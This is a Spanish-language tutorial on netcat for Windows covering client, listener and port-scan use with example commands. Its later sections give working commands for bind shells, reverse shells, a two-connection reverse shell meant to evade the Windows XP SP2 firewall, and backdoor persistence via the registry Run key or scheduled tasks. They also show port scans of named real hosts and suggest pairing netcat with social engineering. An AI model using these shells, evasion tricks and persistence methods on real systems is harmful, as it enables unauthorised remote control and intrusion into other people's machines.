Netcat para win32 [
download ]
[ glosario ]
Introducción:
El netcat para win32, es un programa que funciona en ms-dos, sin entorno gráfico, y sirve para realizar conecciones de casi cualquier tipo
en tcp y udp.
Conviene guardar nc.exe en %windir%/command (si vas a usar nc en una versión de win anterior a
winme) o en %windir%/system32 (si vas a usar nc en una versión posterior a winnt).
Esto es xq en esas carpetas se guardan los comandos externos
del ms-dos y de esta forma vamos a poder usar el nc como un comando externo
más. La ventaja de esto es q no vamos a tener q ubicar la línea de comandos en
la carpeta donde está guardado el nc cada vez que lo keramos usar, sino que lo
vamos a poder usar dsd cualquier carpeta.
Para ver la ayuda incluida en el nc tipeamos nc -h.
Principales modos de uso:
· client
Podemos usar el nc para conectarnos a una maquina por cualquier puerto siempre que
éste este abierto.
La sintaxis básica es:
nc {opciones} [ip/hostname] [puerto]
Las opciones, como su nombre lo indica, son opcionales, por lo que si yo tipeara
en mi linea de comandos:
nc 201.234.131.38 23
Se conectaría a 201.234.131.38 (fiar argentina) por el puerto 23 (telnet).
Es muy recomendable usar siempre la opción -vv para que el nc nos de
información sobre el estado de la conección. Las opciones siempre van antes de
la direccion ip o el hostname y el puerto (en ese orden), por lo que la nueva sintaxis nos
kedaría:
nc -vv {opciones} [ip/hostname] [puerto]
Las opciones que se pueden combinar con este uso son:
-d (detach from console) modo oculto, en segundo plano, la conección sigue
aunke c cierre el ms-dos
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres
q el nc use dns para averiguar el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo
hexadecimal
-p (local port number) elegís el puerto local para la conección
-r (randomize local and remote ports) elige al azar los puertos no
especificados.
-s (local source address) dirección local
-i (delay interval for lines sent) tiempo de espera entre línea y línea
enviada
-u (udp mode) realiza conecciones en puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que
ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server
dejamos de transmitir datos durante 3 segundos, la conección termina.
· server
Podemos usar el nc para poner un puerto a la escucha y recibir conecciones
entrantes.
La sintaxis básica es:
nc -l -p {opciones} [puerto]
Donde [puerto] es el número de puerto que se kiere poner a la escucha.
La opción -l puede usarse en mayúscula -L si se desea que luego de finalizada
la conección, el nc siga escuchando en el mismo puerto con las mismas opciones.
De otra forma, al finalizar la coneccion, el nc se cerraría
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del
ms-dos
-e (inbound program to exec) ejecuta un programa al conectarse un cliente.
-i (delay interval for lines sent) tiempo de espera entre línea y línea
enviada.
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo
hexadecimal.
-r (randomize local and remote ports) elige al azar los puertos no
especificados.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que
ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server
dejamos de transmitir datos durante 3 segundos, la conección termina.
· port scan
Podemos usar el nc para comprobar que puertos tiene abiertos una máquina.
La sintaxis básica sería:
nc -z {opciones} [ip/hostname] [puerto/s]
Opciones adicionales:
-d (detach from console) funciona en segundo plano, independientemente del
ms-dos
-i (delay interval for lines sent) tiempo de espera entre línea y línea
enviada.
-n (numeric ip only) c usa cuando c dá una ip en vez de un hostname y no keres
q el nc resuelva el hostname
-o (hex dump of traffic) guarda todo el trafico de una conección en un archivo
en hexadecimal.
-s (local source address) dirección local
-u (udp mode) realiza conecciones con puertos udp
-v (verbose) modo detallado, usar dos veces para que sea más detallado
-w (wait) tiempo en segundos en los que la conección se mantendrá sin que
ninguna de las partes transfiera datos, x ej: si pongo -w 3 y yo o el server
dejamos de transmitir datos durante 3 segundos, la conección termina.
Los puertos pueden especificarse individualmente, x rangos (inclusivos) o ambos
en cualquier orden.
A partir de ésto pueden inventar infinitos usos combinando el nc con otros
programas y opciones propias del ms-dos. Además de varias opciones del nc que
no expuse acá xq no estoy seguro de poder explicarlas.
Ejémplos prácticos:
· para conectarse a un servidor pop3
nc capital.cf.rffdc.edu.ar 110
· para conectarse a un servidor smpt en modo detallado:
nc -vv capital.cf.rffdc.edu.ar 25
· para conectarse a un servidor ftp en modo detallado dsd el puerto local 1337:
nc -vv -p 1337 capital.cf.rffdc.edu.ar 21
nc -vv -p 1337 ftp.microsoft.com.ar 21
nc -vv -p 1337 ftp.ar.geocities.com 21
nc -vv -p 1337 cablemodem.fibertel.com.ar 21
o x el cliente ftp de ms: ftp [ip/hostname]
· para conectarse a un servidor telnet aprovechando la opción -t (answer
telnet negociation)
nc -vv -t freeshell.org 23
nc -vv -t capital.cf.rffdc.edu.ar 23
o x el cliente telnet de ms: telnet [ip/hostname]
· para conectarse a un servidor web en modo detallado dsd el puerto 2236 guardando
el trafico en un archivo hexadecimal llamado wdeah.txt:
nc -vv -p 2236 -o wdeah.txt www.google.com.ar
80
nc -vv -p 2236 -o wdeah.txt www.desertwolf.com.ar
80
nc -vv -p 2236 -o wdeah.txt www.fotolog.com
80
o x ms iexplorer en dirección: [ip/host]
· escanear puertos individualmente:
nc -z www.ieslenguasvivasjrf.esc.edu.ar
21 23 20 22 80 110
· escanear puertos por rangos inclusivos:
nc -z 200.123.160.225
20-23 137-139
· escanear por puertos tanto específicos como por rangos:
nc -z www.ieslenguasvivasjrf.esc.edu.ar
137-139 80 110
· shell directa
Mediante este comando en un windows posterior a winme
nc -l -p 2236 -e cmd.exe -d
A cualquiera que se conectase por el puerto 2236 mediante nc o telnet, le
aparecería una shell equivalente al cmd.exe de la maquina en la que se ejecutó
el comando. Lo mismo ocurriría en un windows anterior a winme
reemplazando cmd.exe por command.com en el comando anterior.
· shell inversa
Esta técnica es una variación de la primera, con la diferencia que en esta la
máquina que proporciona la shell se conecta a la otra pudiendo de ésta forma
saltar algunos routers y firewalls. Ideal para maquinas dentro de una red.
Se ejecuta el siguiente comando en una maquina para ponerla a la escucha de
conexiones por el puerto 2236:
nc -vv -L -p 2236
Luego, se ejecuta el siguiente comando en la maquina que va a proporcionar la
shell para que se conecte a la primera:
nc -d -e [cmd.exe/command.com] [ip/hostname primera maq] 2236
· shell inversa distribuida
Está técnica es la más silenciosa y efectiva de todas, en ésta se realizan
dos conexiones inversas (una para enviar información y otra para recibirla)
usando los puertos 25 y 80 que el firewall del win xp sp2 no filtra por tenerlos
habilitados por default para el envío (25 smpt) y recibo (80 http) de
información.
Para esto abrimos dos ventanas en la maquina que recibirá la shell en las que
ponemos:
nc -vv -l -p 80
y
nc -vv -l -p 25
Respectivamente, de manera que escuche conexiones por los puertos 80 y 25. Luego, en la máquina q proporcionará la shell ponemos:
nc [ip/hostname maq escucha] 80 | cmd.exe | nc [ip/hostname maq escucha] 25
Una vez realizada la conexión, se envían los comandos desde la ventana que
escucha por el puerto 80 y se reciben los resultados en la ventana que escucha
por el puerto 25.
· backdoor
Para dejar al nc funcionando a modo de backdoor se pueden utilizar diversos
métodos, tales como agregar un valor alfanumérico en el registro de win en la
clave hkey_local_machine\software\microsoft\windows\currentversion\run, o
agregar un línea al autoexec.bat o al win.ini, o utilizar el comando at, el
programador de tareas, etc.
· chat peer to peer
Se puede crear un simple chat mediante nc entre dos personas escribiendo una de
ellas (server) éste comando:
nc -l -p 1337
y la otra (client) éste otro:
nc [ip/hostname de la maq dnd c ejecuto el comando anterior] 1337
La primera persona abriría el puerto 1337 para recibir conecciónes y la
segunda se conectaría a su maquina por el puerto que la primera persona abrió
por lo que realizarían una conección directa puerto a puerto.
Luego, lo que una de las personas escribiese en su nc aparecería en el nc del
otro y viceversa.
· etc.
Usá la cabeza para combinar opciones del tipo >, >>, <, << o |
propias del ms-dos, ingeniería social, otros programas en conjunto con nc
mediante la opción -e, etc para aprovechar al máximo este programita.
Cierre:
La versión original de Netcat fue programada por *hobbit* hobbit@avian.org
y la version NT por Weld Pond weld@l0pht.com
.
Este texto fue escrito en su integridad por Franco Pyrih franco.pyrih@gmail.com
, no es ni
oficial, ni completo. El mismo es de libre
distribución siempre y cuando no se modifique el contenido original ni el
nombre del autor.
Las ip y los hostnames descriptas, se encuentran a modo de
ejemplo, del mismo modo que los puertos 1337 y 2236 que fueron elegidos al azar por el
autor. El único fin de este texto es informar sobre el uso del netcat.
Fin [ Homepage ]